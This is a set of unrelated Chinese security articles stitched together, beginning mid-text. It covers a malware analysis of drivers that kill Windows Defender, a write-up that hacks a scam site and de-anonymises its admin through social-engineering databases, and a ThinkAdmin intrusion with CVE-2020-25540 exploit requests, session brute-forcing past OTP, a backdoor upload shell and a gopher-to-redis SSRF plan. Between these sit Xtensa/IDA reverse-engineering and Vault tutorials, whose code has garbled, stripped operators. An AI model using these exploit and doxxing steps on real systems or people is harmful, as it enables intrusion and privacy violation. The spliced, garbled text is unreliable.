第二階段驅動程序從磁盤讀取第一階段驅動程序並將其寫入註冊表，然後從磁盤刪除； 第一階段和第二階段的驅動器只存在於內存中； 在重新啟動之前，執行第一階段關閉通知例程； 關機例程將從註冊表中自我讀取，自我寫回磁盤，並創建一個服務，該服務將在下次系統重新啟動時啟動。 Defender停止器插件此驅動程序的主要目標是停止Windows Defender。它首先從註冊表項“HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender”禁用反間諜軟件檢測，禁用“SecurityHealthService”服務，並停止殺毒檢測。 停止反間諜軟件檢測 停止“SecurityHealthService”服務 禁用殺毒檢測 然後在“映像文件執行選項”註冊表中為所有Windows Defender進程添加一個條目，因此當其中任何一個進程崩潰時，另一個進程將啟動。將啟動的可執行文件是“C:\\Users\\Administrator\\Desktop\\111111111.exe”，這表明這些插件是自定義的，攻擊者正在根據需要積極開發新的插件。它最終會終止所有Windows Defender進程。 將條目添加到映像文件執行選項 映像文件執行中的調試器值 映像文件執行中的調試器值 Windows Defender進程 終止進程 代理插件此插件負責在設備上安裝代理，並將web瀏覽流量重定向到遠程代理設備。它首先編輯Windows代理配置“hxxp[:]//4dpyplftay8g90qb7l.kkvgsytcw4hsn3g0nc5r[.]xyz:17654/api/pac/PacReback?key=10252”。 編輯的Windows代理配置 然後，它在瀏覽器中註入一個JavaScript，根據

在鹰图中找TSRC资产准备挖腾讯SRC时候看到此站点域名:qq.com.xxxx.top,标题为登录第一感觉不是正经站应该是钓鱼站whois查询到的webpack打包的这种站点基本都会有一些测试账号,试了试18888888888密码123456看到这个基本确定这就是个做任务赚佣金的那种,主打的就是一个骗钱F12翻找请求和js找到,加载的资源文件报错, 用的thinkphp但是没洞,真是IP也有了找到后台伪装的挺好的叫xxx打卡系统 通过fofa查ip找到其他资产,ip访问发下是一个企业建站模版页面,ip后面加个admin跳到企业建站后台实话这个真烂在ip后面家入/x又是thinkphp5.0.5的笑死,验证存在rce那个做任务赚佣金的站点还没有好好测简单收集信息,找到旁站进去了基本上数据库配置都在data 或者configmd5解密管理员密码,进后台看看其他信息不怎么关注,主要找站点管理员 1.敏感手机号通过推荐人号很频繁就是一个手机号,139xxxx2.管理员登录日志分析:可疑ip定位在四川3.通过手机号查到微信,和支付宝查到这个人4.通过社工库查到此人QQ,微博以及本人照片 转载于原文链接： https://mp.weixin.qq.com/s/9M0HEP1x-5Xt1JQeyVDrGA

4.研究Xtensa架構特性現在我們已經將所有段加載到適當的地址，我們可以開始逆向工程了。 但為了高效地做到這一點，我們需要更多地了解Xtensa 架構，包括： 1.指令中的參數順序 2.條件跳轉的執行細節 3.編譯器調用約定 4.堆棧組織 首先要探索的是指令中的參數順序。例如：MOV R1, R2.您可以在所有架構中找到此類指令，但這可能意味著將R1 複製到R2 或將R2 複製到R1。因此，了解指令中源代碼的位置以及目標寄存器的位置至關重要。您可以在GitHub 上找到Xtensa 指令集描述。 至於該MOV指令，在Xtensa中，表示將R2複製到R1。因此，第一個參數將是大多數簡單指令（例如數學相關指令）中的目的地。例如，指令addi a14, a1,0x38意味著a14=a1 +0x38。 但對於存儲數據的指令，情況則相反。例如，該指令s32i.n a5, a1,0x10意味著的值a5必須存儲在地址處(a1 +0x10)。 要學習的第二件事是條件跳轉的完成方式。有兩種方法可以做到這一點： 1.使用專用指令進行比較操作，設置標誌寄存器，然後進行條件跳轉。 2.使用一條指令一次性執行所有這些操作。 Xtensa 執行後者：beqz a10, loc_400E1C54 使用單個指令來檢查是否a10等於零，然後它要么跳轉到loc_400E1C54，要么不跳轉。 第三步是檢查編譯器使用的調用約定：將參數傳遞給函數的方式以及如何返回值。 Xtensa 以一種非常不尋常的方式傳遞參數。參數在調用指令之前放入寄存器中。但它們在函數中出現的寄存器與調用之前所在的寄存器不同： 以下是如何在彙編程序級別將參數傳遞給函數的示例： 這裡我們有三個論據： a10 是目的地址 a11 是源地址 a12 是要復印的尺寸 然而，一旦代碼進入memcpy函數，這些值就會自動分別傳輸到a2、a3和a4寄存器中。 同樣的技巧也用於返回值。在memcpy函數內部，該值存儲在寄存器中a2，但從函數返回後，該值出現在a10. 返回的樣子如下0： 這就是檢查返回值的樣子： benz.na10在從調用返回時檢查寄存器的值。 最後，有必要了解堆棧是如何組織的。 Xtensa 使用a1 寄存器來創建堆棧幀。每個函數都以入口指令開始：entry a1,0xC0，其中0xC0是堆棧幀的大小，即函數需要用於堆棧變量的堆棧量。 通常，這些函數從初始化堆棧變量開始： 寄存器中的零值a5被寫入基於a1寄存器的堆棧變量中。 在獲得有關Xtensa 架構的所有必要知識後，我們終於可以開始逆向其代碼了。 5. 在IDA 中對Xtensa 代碼進行逆向工程與ARM、MIPS 和PowerPC 相比，Xtensa 不是最流行的架構，並且沒有完整的功能列表。因此，IDA處理器模塊會存在一些我們需要克服的限制。 IDA 中Xtensa 處理器模塊的主要限制是： 函數參數沒有自動註釋 堆棧幀不會自動創建 一些ESP32 函數屬於IROM，因此存在對硬編碼地址的調用 部分Xtensa指令未反彙編 讓我們討論一些克服這些挑戰的技巧。 5.1.函數參數的類型系統和註釋從IDA 7.7 開始提供Xtensa類型系統。在IDA 中擁有可用的類型系統非常重要，因為它使逆向變得方便。特別是，它允許您導入C 結構的定義並指定IDA 使用的函數原型，以便在傳輸函數參數的指令附近放置自動註釋。 但是，如果您沒有類型系統，還有一個解決方法。 首先，讓我們看看有類型系統時函數是什麼樣子的： 屏幕截圖13. 當有可用的類型系統時函數的外觀 函數原型設置有參數的名稱和類型，以便IDA 可以使用此信息在調用站點註釋參數： 屏幕截圖14. 函數原型 但Xtensa 不會有這樣的事情。另一種方法是使用IDA 中的可重複註釋功能。如果您在函數的開頭設置可重複的註釋，它將顯示在所有調用站點上。 屏幕截圖15. 設置可重複註釋 屏幕截圖16. 可重複的註釋顯示在所有調用站點上 因此，我們可以使用此功能來定義函數參數： 屏幕截圖17. 使用可重複註釋功能定義函數參數 調用站點將如下所示： 屏幕截圖18. 調用站點 您可以在註釋中選擇寄存器名稱，IDA 會在代碼中突出顯示它。因此，您可以輕鬆找到參數值。 5.2.恢復堆棧幀要恢復堆棧幀，您需要手動指定堆棧大小，然後通過在每個與堆棧一起使用的指令處按K 鍵來顯示IDA 的使用位置。 讓我們探索一下config_router_safe函數，例如： 屏幕截圖19. config_router_safe 函數 很明顯這裡的棧幀大小是0xC0。我們在函數的堆棧設置中使用該值(Alt+P)： 屏幕截圖20. 使用0xC0 值（堆棧幀大小） 從視覺上看，什麼也不會發生，但是如果您通過按Ctrl+K 轉到該函數的堆棧幀，您會注意到堆棧空間現在已分配： 屏幕截圖21. 分配堆棧空間 接下來要做的是使用entry指令指定堆棧移位。在此之前，我們建議啟用堆棧指針可視化，如下面的屏幕截圖所示： 屏幕截圖22. 啟用堆棧指針可視化 現在，代碼應該如下所示： 屏幕截圖23.啟用堆棧指針可視化後的代碼 000是當前堆棧指針移位值，我們需要將其移位0xC0。為此，請將光標置於入口指令處，然後按Alt+K以查看以下窗口，您可以在其中指定新舊堆棧指針之間所需的差異： 屏幕截圖24. 將當前堆棧指針值移動0xC0 作為此操作的結果，代碼將如下所示： 屏幕截圖25. 移動當前堆棧指針移位值後的代碼 現在，如果您開始在與寄存器一起使用的每條指令處按Ka1，IDA 將創建堆棧變量： 屏幕截圖26.IDA 創建新的堆棧變量 還可以編寫IDA 腳本來自動執行這些操作。 5.3.調用IROM調用位於CPU 的IROM 部分而不是固件中的某些低級API 的情況並不少見。在這種情況下，固件僅與包含定義的IROM 函數地址的特殊鏈接器定義文件鏈接。 在逆向期間，IROM 函數調用如下所示： 屏幕截圖27. IROM 函數調用 40058E4C是IROM 內的地址。但不可能知道固件調用了哪個函數。因此有必要檢查ESP32 工具鏈以查找鏈接器定義。 ESP32 芯片的IDE 是Espressif IDE。在IDE 文件中搜索IROM 地址，我們會找到：C:\Espressif\frameworks\esp-idf-v4.4.2\components\esptool_py\esptool\flasher_stub\ld\rom_32.ld 屏幕截圖28. ESP32 ROM 地址表 這些值可以輕鬆轉換為枚舉數據類型： 屏幕截圖29. 將值轉換為枚舉數據類型 然後，我們需要導入IDA，以便將enum 應用於IROM 地址值： 屏幕截圖30. 將枚舉應用於IROM 地址值 如果我們在IROM 地址附近添加可重複的註釋，它將使所有內容更容易閱讀： 屏幕截圖31. 在IROM地址附近添加可重複註釋後的代碼 5.4.無法識別的指令經常發生的情況是，處理器模塊已針對指令集的某些特定變體實現。然後製造商製造出具有99% 兼容指令集的新CPU，其中包含10 多個新指令，這是最初沒人想到的。因此IDA、Ghidra和Radare等工具可能無法反彙編一些新指令。 克服這一挑戰的正確方法是擴展處理器模塊並添加對新指令的支持。這需要對反彙編器API 有深入的了解，而這些API 並不那麼容易理解。 讓我們討論一種可能的解決方法，用於解決以下情況：儘管存在一些無法識別的指令，但您只想讓IDA 創建函數。假設IDA 不知道RER 指令，並且在包含RER 操作碼的情況下無法創建該函數： 屏幕截圖32. 如果函數包含RER 操作碼，IDA 無法創建該函數 您可以按P多次。除了控制台窗口中出現錯誤外，不會發生任何事情： 屏幕截圖33. 控制台窗口中的錯誤 但是，這並不意味著IDA 無法創建遵循RER 指令的指令。您可以跳過RER 指令的三個字節，然後創建代碼： 屏幕截圖34. 跳過RER 指令的三個字節後創建代碼 接下來，您可以選擇從輸入到最後的整段代碼retw.n，然後按P： 屏幕截圖35. 選擇從Entry 到retw.n 的整段代碼 之後，IDA 將創建該函數： 屏幕截圖36.IDA 創建一個函數 通常，反彙編程序無法識別的擴展指令在逆向過程中不會產生太大差異。可能導致問題的是執行調用、跳轉或加載/存儲等操作的新指令，因為代碼流丟失並且對數據的引用丟失。 結論對於涉及逆向工程物聯網固件的項目來說，在轉向業務邏輯之前研究未知的硬件架構至關重要。儘管逆向工程師可能需要幾週的時間來學習該架構，但從長遠來看，這種深入的研究有助於提高進一步工作的速度。

0x01 thinkadmin历史漏洞复习已经找到对方的app的后台地址是thinkadmin，因此我们需要去复习thinkadmin的历史漏洞。 CVE-2020-25540 https://github.com/zoujingli/ThinkAdmin/issues/244 利用POC如下 https://github.com/Schira4396/CVE-2020-25540 列目录 POST /?s=admin/api.Update/noderules=["runtime/"]文件读取 /?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b363932382x312t1b其本质大概想设计出来一个能让第三方去对比服务器上的系统web文件的功能，结果因为目录穿越造成任意目录读取。虽然有一定限制，但危害还是非常非常大，因此后续更新直接将这个功能下架。 还有一个没有CVE的反序列化漏洞 https://github.com/zoujingli/ThinkAdmin/issues/238 存在两处接口，其中一处正是上面列目录功能的rules传参。 POST /?s=admin/api.Update/noderules=payload另外一处则是 POST /?s=wechat/api.Push/indexreceive=payload 0x02 第一份源码因为官方已经不提供旧版源码下载，所以我第一时间去其他地方找到了一份使用thinkphp5.1.38的旧版源码。检测了下，其有如下漏洞。 application/wechat/controller/api/Push.php 两处反序列化只修复了一处。 application/admin/controller/api/Update.php 列目录和任意文件读取的路由稍微变了一下，而且列目录无法用rules传参进行控制，只能列web根目录。但任意文件读取取消了各种限制，这意味着可以直接读config/database.php获取数据库配置。 获取了数据库配置之后，数据库如果能够外连就可以深入一点利用。 application/admin/controller/api/Plugs.php 这个是thinkadmin自带的文件上传接口，正如很多cms设计的一样，其白名单storage_local_exts在数据库或者系统后台中都能进行配置。正常来说，我们可以利用这个进行getshell操作，但很明显，如果直接给白名单加上php，过不去第四个if，且后台的系统配置中也有拦截。 application/admin/controller/Config.php 我们如果直接操作数据库，可以绕过后台配置限制，但绕不过upload()的限制。 很显然，只过滤php是不够的，如果对方是windows服务器，我们还有php::$DATA可选，如果对方是apache且进行了错误的配置，我们还有php3/php4/php5/php7/pht/phtml/phar这些可能的解析后缀。 0x03 第二份源码 然而第一份源码除了熟悉thinkadmin架构之外没有任何卵用。因为目标是thinkphp6.0.3的，而且漏洞也和第一份不一样，不存在反序列化。不过还是存在列目录和文件读取，而且和历史漏洞一模一样。 app/admin/controller/api/Update.php 但是在列目录时，碰到了一个问题。 这是因为我列的是web根目录，如果对方项目巨大，或者某个文件夹没有权限，就会导致报错，这个时候就需要针对性列目录，以./app和./runtime为主。 读./app可以获取controller路径，在原版thinkadmin中，突破口并不多，但这种程序很多都是二开的，对比原版thinkadmin那些没有的controller，就可能直接审计出漏洞。审计漏洞需要配合任意文件读取，具体该怎么读请回顾前面的。总而言之，有了CVE-2020-25540我们等于获取了其源码。 这个程序就很容易发现一个SQL注入。 /app/admin/controller/api/Main.php 然而等我吭呲吭呲的注出密码后却发现，登录需要OTP验证，没办法，继续审计。 /app/admin/controller/Posting.php 非常愚蠢的命令拼接，同位置有三处，但都需要后台权限，而且最后发现exec()被disable_functions了，所以无法利用。 /app/admin/controller/api/Upload.php 最后一处是在朋友的提醒下发现的，这乍一看不就是thinkadmin自带的上传吗？前面分析过需要特定环境才能利用，所以我就直接跳过了。结果居然多了个xkey传参可以完全控制$this->name，很难不让人怀疑这是个后门。最后getshell是这样的。 但这个上传接口也需要后台权限，怎么办呢？这个时候就轮到thinkphp经常用到的./runtime出场了。 读runtime/admin/log/single_error.log这个文件很容易发现它记录了一系列的session报错。 而且我们可以知道，这套程序用的php原版session，而且没有放在/tmp或者/var/lib/php/sessions/中，而是runtime/session。那就简单了，我们直接利用列目录列出所有session，然后进行爆破。 这样就可以直接进入后台绕过了OTP限制，接下来再用它的xkey后门getshell就行了。 0x04 另类脑洞 万一没有后门怎么办呢？这套系统是linux+nginx，无法绕过thinkadmin原版upload限制。 但在后续代码审计中，我发现了其有个图床服务器。 这台被getshell的服务器(A)，可以带file_paths参数访问图床服务器(B)的一个接口，其目的是为了让服务器B反过来下载服务器A上面的图片备份下来。为什么我会知道这点呢？ 因为服务器B更加千疮百孔，直接访问这个接口就会发现。 不但因为debug泄露了源码，而且这个命令拼接也太赤裸裸了，甚至可以直接当shell用。 所以我们完全可以在不拿下服务器A的情况下，通过任意文件读取和代码审计直接拿下服务器B。 拿下服务器B又有什么用呢？服务器A是会用curl请求服务器B的，这种情况下，可以篡改服务器B的代码，将接口改成302跳转，然后修改协议为gopher，就可以打到服务器A的本地端口了。 如果服务器A的本地存在fpm的9000端口，以及redis的6379端口，就可以这样曲折的进行SSRF getshell，这种案例在discuz的SSRF漏洞上经常能得到利用。 这次虽然没9000 fpm，但却有redis，redis密钥和端口也在config/cache.php存储着，而且web目录恰好是777权限，完全符合gopher打本地redis的条件。 当然，最终我并没有进行尝试，但理论上完全没有问题。 转载于原文链接： https://mp.weixin.qq.com/s/BuHJuQh3lyaq1SmY2xKl3g

在逆向工程過程中，您可能會遇到可用工具尚不支持您正在使用的架構的情況。 在本文中，我們將探討這樣的案例並展示擴展IDA 功能的示例。我們探索如何實現IDA 插件來反彙編新的Xtensa 指令。 為什麼要創建自定義IDA 插件？在我們之前的一篇文章中，我們討論了研究固件架構的重要性。在這種情況下，我們設法找到了一個支持我們需要分析的設備架構的反彙編工具。現在，我們想要解決逆向工程工具不支持您在項目中使用的架構的問題。讓我們以IDA 為例來探討本文。 交互式反彙編器(IDA)是一種軟件反彙編器，可從機器可執行代碼生成彙編語言源代碼並執行自動代碼分析。該逆向工程工具通過眾多插件提供廣泛的反彙編和調試功能。 IDA 還使用一組稱為處理器模塊的插件將原始字節代碼轉換為反彙編文本。每個插件都是針對特定的硬件架構設計的。 由於反彙編插件的可用性很大程度上取決於架構的流行程度，因此某些處理器模塊的更新頻率比其他模塊要高。而對新指令的支持可能需要IDA 開發人員花一些時間才能實現。 那麼，如果您當前正在使用的架構沒有插件，您該怎麼辦？ 好消息是，無需等待IDA 開發人員實現對特定指令集的支持。您可以自己創建自定義IDA 插件，也可以使用Python 通過IDA SDK 實現相關插件。 讓我們探討一個實現逆向工程IDA 插件的示例，並使用新的Xtensa 架構指令，在撰寫本文時，IDA 7.7 尚不支持這些指令。由於這些指令未在IDA 中反彙編，因此您將它們視為原始字節： 屏幕截圖1. Xtensa 指令在IDA 中顯示為原始字節 但如果您使用其他支持反彙編新Xtensa指令的軟件，例如Lauterbach Trace32模擬器，您可以看到這些字節是商無符號（QUOU）指令： 屏幕截圖2.Xtensa 指令看起來像Lauterbach Trace32 模擬器中的QUOU 指令 一旦知道這些字節是什麼，您就可以找到QUOU 指令的描述並實現IDA 插件來擴展現有處理器模塊的功能。讓我們探討一下如何做到這一點。 使用新插件向IDA 處理器模塊添加指令讓我們使用NECromancer插件，它為NEC V850 CPU 擴展了IDA 的處理器模塊。 使用此插件的目標是掛鉤處理器模塊的事件處理程序並執行您自己的處理例程而不是現有的處理例程。該插件將允許處理器模塊處理默認情況下無法處理的未知指令。 讓我們看一下一個空插件。以下是在IDA 引擎中註冊插件並掛接處理器模塊所需的最少代碼： (Python) classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''wanted_hotkey=''help='AddssupportforadditionalXtensainstructions'wanted_name='XtensaESP'def__init__(self):self.prochook=Nonedefinit(self):ifph_get_id()!=PLFM_XTENSA:returnPLUGIN_SKIPself.prochook=xtensa_idp_hoo k_t()self.prochook.hook()print('%sinitialized.'%XtensaESP.wanted_name)returnPLUGIN_KEEPdefrun(self,arg):passdefterm(self):ifself.prochook:self.prochook.unhook()#--------------------------------------------------------------------------defPLUGIN_ENTRY():returnXtensaESP()為了確保IDA 僅在加載Xtensa CPU 處理器模塊時運行該插件，該插件會執行以下檢查： ifph_get_id()!=PLFM_XTENSANECromancer 插件還需要xtensa_idp_hook_t掛鉤類來安裝處理器模塊事件的處理程序。鉤子類主體如下所示： classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defev_ana_insn(self,insn):passdefev_out_mnem(self,outctx):passdefev_out_operand(self,outctx,op):pass該代碼片段的關鍵元素是： ev_ana_insn方法，幫助您分析字節碼並創建指令類 ev_out_mnem方法，允許您創建指令的可視化表示，即生成反彙編文本 ev_out_operand方法，實現指令操作數生成為文本以便反彙編 讓我們一一實現這三種方法。 1. 實現ev_ana_insn方法使用NECromancer 插件的目標是添加對QUOU（無符號商）指令的支持。這意味著您需要知道CPU 實際上如何解析表示QUOU 指令的字節。 您可以在Xtensa 指令集架構(ISA) 參考手冊[PDF]中找到此信息： 指令詞： 所需的配置選項：32 位整數除法選項。 彙編語法：QUOU ar, as, at 說明：將地址寄存器的內容除以地址寄存器的內容QUOU進行32 位無符號除法，並將商寫入地址寄存器。如果地址寄存器的內容引發整數除以零異常而不是寫入結果。 asatarat0, QUOU 在這種特殊情況下，您不需要詳細了解指令的作用。目標是了解CPU 如何知道一組字節實際上是QUOU 指令。 IDA 將這條QUOU 指令顯示為字節序列：0xC0,0x22,0xC2。指令的第一個字節0xC0——在文檔中表示如下： 讓我們解釋一下這意味著什麼： 1、標記為的頂部四個字節t的值為0xC。 2、低四個字節始終等於0。 3、的值t是用作指令第三個參數的寄存器的索引。 4、0xC=12，這意味著第三個參數是a12。 指令的第二個字節指定了另外兩個標記為r和的參數s： 在我們的例子中，第二個字節是0x22，這意味著r=0x2和s=0x2。因此，第一和第二操作數都是a2。 最後，第三個字節是0xC2。根據文檔，它始終是一個常量： 由於1100 0010=0xC2，您可以使用該字節來識別QUOU 指令。 現在，一切準備就緒，可以開始實現ev_ana_insn方法了。 首先，創建新的指令ID，這將允許IDA引擎區分新指令和現有指令： classNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)其次，讓我們使用從值開始的IDCUSTOM_INSN_ITYPE。 最後，運行指令分析方法，如下所示： defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3returnTruereturnFalse我們來解釋一下這段代碼的作用： get_bytes()函數從IDA 期望的下一條指令的地址處的二進製文件中讀取原始字節。 然後，它檢查指令字節是否實際上看起來像QUOU 指令。 在這種情況下，我們檢查第三個字節0xC2和較低的4 個字節是否0在第一個字節中，如文檔中所定義。最後，您需要使用有關QUOU 指令的信息填充ev_ana_insn方法的insn參數：至少指定指令ID 和指令大小（以字節為單位）。 然後，如果ev_ana_insn方法能夠在建議地址找到指令，則它必須返回True ；否則，它必須返回False。 即使您將努力保持在絕對最低限度（如上所示），IDA 也已經能夠識別新指令。但我們還想向您展示如何讓IDA 也了解指令參數，否則指令將顯示為沒有參數。為此，您需要對ev_ana_insn()方法進行改進： defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalse這段新代碼實現了指令參數的定義。這些是代碼從指令字節中提取的r、s和值。 解析完成後，就可以設置反彙編文本的輸出了。 2. 實現ev_out_mnem方法要生成反彙編文本，您可以完全重用ev_out_mnem方法的NECromancer 插件的現有代碼： DEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_IT YPE+2)lst={NN_quou:'quou'}defev_out_mnem(self,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinN ewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:howcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalse我們來解釋一下這個例子的要點： ev_out_mnem從NewInstructions類獲取指令名稱並andoutctx.out_line在IDA 反彙編窗口中顯示文本。 標誌DEBUG_PLUGIN改變文本的顏色。您可以將其設置為默認顏色或宏的顏色，以使新指令脫穎而出，這在調試插件時非常方便。 ev_out_mnem輸出八個空格，為引擎輸出指令參數做好準備。因此，所有內容——代碼、空格、代碼註釋——都將被對齊。 3. 實現ev_out_operand方法要實現指令操作數的生成，您還可以重用ev_out_operand方法的現成代碼： defev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:ifop.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse此代碼檢查該指令是否是您之前添加的指令。如果指令包含參數，則需要打印操作數。然後，您將獲得寄存器的名稱，插件將打印它。 現在，所有準備工作都已完成，您可以開始測試您創建的插件。 測試插件將插件放在\IDA\plugins目錄中，以便IDA 可以運行它。然後，加載包含未定義字節的IDA數據庫，將光標置於其上，然後按C創建指令： 屏幕截圖3. 在IDA 中創建新的QUOU 指令 添加對QUOU 指令的支持後，IDA 每當遇到該指令時都會自動識別該指令。此處指令的顏色與其他指令的顏色不同，因為我們DEBUG_PLUGIN在此示例中啟用了該標誌。如果您決定禁用該標誌，指令的顏色將與代碼的其餘部分相同。 我們示例的完整NECromancer 插件源代碼如下： fromida_linesimportCOLOR_INSN,COLOR_MACROfromida_idpimportCUSTOM_INSN_ITYPE,IDP_Hooks,ph_get_regnames,ph_get_id,PLFM_XTENSAfromida_bytesimportget_bytesfromida_idaapiimportplugin_t,PLUGIN_PROC,PLUGIN_HIDE,PLUGIN_SKIP,PLUGIN_KEEPfromida_uaimporto_displ,o_reg,o_ imm,dt_dword,OOF_ADDRfromstructimportunpackDEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_muluh)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)lst={NN_quou:'quou',NN_muluh:'muluh'}#------------ --------------------------------------------------------------classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defdecode_instruction(self,insn):buf=get_bytes(insn.ea,3)#print('%08Xbytes%X%X%X'%(insn.ea,buf[2],buf[1],buf[ 0]))ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTrueifbuf[2]==0xA2and(buf[0]0xF)==0:insn.ityp e=NewInstructions.NN_muluhinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalsedefev_ana_insn(self,insn):returnself.decode_instruction(insn)defev_out_mnem(se lf,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinNewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:ho wcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalsedefev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:if op.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse#--------------------------------------------------------------------------classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''

（接上文）如何使用Vault 存儲和共享機密添加身份驗證方法我們將使用用戶名和密碼進行身份驗證。默認情況下，它是禁用的，因此我們必須啟用它。但在此之前，我們應該使用之前生成的根令牌登錄Vault： 屏幕截圖4. 登錄Vault 現在，我們可以更改身份驗證方法和其他受保護的服務器部分。讓我們添加身份驗證方法： 如果您使用Web UI 而不是命令行，請按照以下路徑啟用身份驗證方法：訪問-身份驗證方法-啟用新方法-用戶名和密碼-下一步-啟用方法。我們不會在這裡更改任何設置，因此您可以保持原樣。 屏幕截圖5. 方法驗證 現在我們已經設置了用戶名和密碼身份驗證，讓我們添加一個秘密引擎。 添加秘密引擎默認情況下，Vault 僅啟用cubbyhole 作為秘密引擎。至少，它是我們可以用來存儲數據的唯一引擎。我們可以通過運行以下命令來檢查： 屏幕截圖6. Secrets Engines 選項卡 該引擎允許我們包裝和解開我們的秘密以安全地共享它們。包裝意味著生成一個具有可配置生存時間(TTL) 的一次性令牌，該令牌引用了我們的秘密。這個秘密只存在於我們的小房間裡，直到令牌被打開或過期。 您可以將cubbyhole 視為一個鍵值對，其中一次性令牌是鍵。它使我們能夠安全地共享收件人無法訪問的內容，而無需授予他們永久訪問權限。這是一種簡單、快速且可靠的方式來發送我們不希望以明文形式發送的數據。 然而，Cubbyhole 提供了一種臨時且短期的秘密共享方式。這就是我們要添加鍵值引擎的原因。與cubbyhole 一樣，它遵循鍵值邏輯，但它允許我們創建、讀取、更新和刪除鍵值對。 KV 引擎適用於秘密、配置數據或任何其他結構化鍵值信息的長期存儲和管理。 讓我們添加一個鍵值秘密引擎： 按照以下路徑啟用鍵值秘密引擎：Secrets-Enable new engine-KV。然後，將Path更改為kv-engine並選擇Enable Engine。 屏幕截圖7. 啟用KV Secrets 引擎 我們將使用鍵值引擎的第二個版本。此版本具有一些附加功能，包括秘密的版本控制和恢復已刪除的秘密。 現在我們可以添加策略，允許用戶使用我們的新秘密引擎存儲和讀取秘密。 添加策略我們需要遵循最小特權原則的政策。該原則規定，實體（用戶、組等）只能訪問完成特定任務所需的資源。 例如，開發人員應該有權訪問API 密鑰或開發中所需的其他憑據。另一方面，DevOps 專家需要雲託管平台的憑據，但他們不應該能夠訪問所有其他秘密，因為這會增加秘密洩露的可能性。通過添加特定於應用程序的訪問權限，我們可以將訪問控制遊戲提升到一個新的水平。我們的服務器可能需要數據庫憑據，但我們的應用程序不需要。  基本上，策略只是命名為訪問控制列表(ACL)。在此示例中，我們希望用戶將機密存儲在自己的目錄中，任何其他用戶都無法訪問該目錄。 為此，我們將使用ACL 模板。我們可以在策略中使用雙花括號作為模板分隔符。有一些可用的模板參數；您可以在ACL 策略路徑模板頁面上閱讀有關它們的更多信息。 在添加策略之前，讓我們找出新身份驗證方法的標識符，以便在模板中使用它。 我們可以通過運行以下命令來做到這一點： 您可以在訪問器列中看到標識符。通過訪問-身份驗證方法找到身份驗證方法。 屏幕截圖8. 身份驗證方法 現在我們可以創建一個策略： 替換ACCESSOR 為我們在上一步中獲得的標識符。 此策略將允許我們的用戶在其主目錄中創建、讀取、刪除、列出和更新機密。我們將使用策略路徑模板來利用策略規則中的身份參數。這將使我們能夠根據身份驗證時返回給我們的用戶身份屬性來微調訪問控制。 這些屬性可以是任何內容：用戶的角色、用戶名、電子郵件地址、組成員身份等。根據屬性，我們將能夠授予不同級別的訪問權限，從而遵守最小權限原則。 在此示例中，我們使用用戶使用用戶名和密碼身份驗證成功進行身份驗證時返回的名稱。 注意data後面的前綴kv-engine。這是第二版的鍵值存儲中實際數據的存儲位置。裡面還有其他幾個路徑kv-engine，包括metadata和delete。您可以在HashiCorp 文檔中閱讀有關KV Secrets 引擎的更多信息。 此外，我們還添加了元數據路徑的規則。此規則允許我們的用戶列出其文件夾內所有存儲的密鑰。此外，我們還為每個用戶添加了列出kv-engine路徑內容的權限，以便更輕鬆地使用Web UI 進行導航。該規則不允許用戶讀取kv-engine內文件夾的內容- 只能查看它們。 讓我們保存我們的政策： 進入策略-創建ACL 策略創建ACL 策略： 屏幕截圖9. 創建ACL 策略 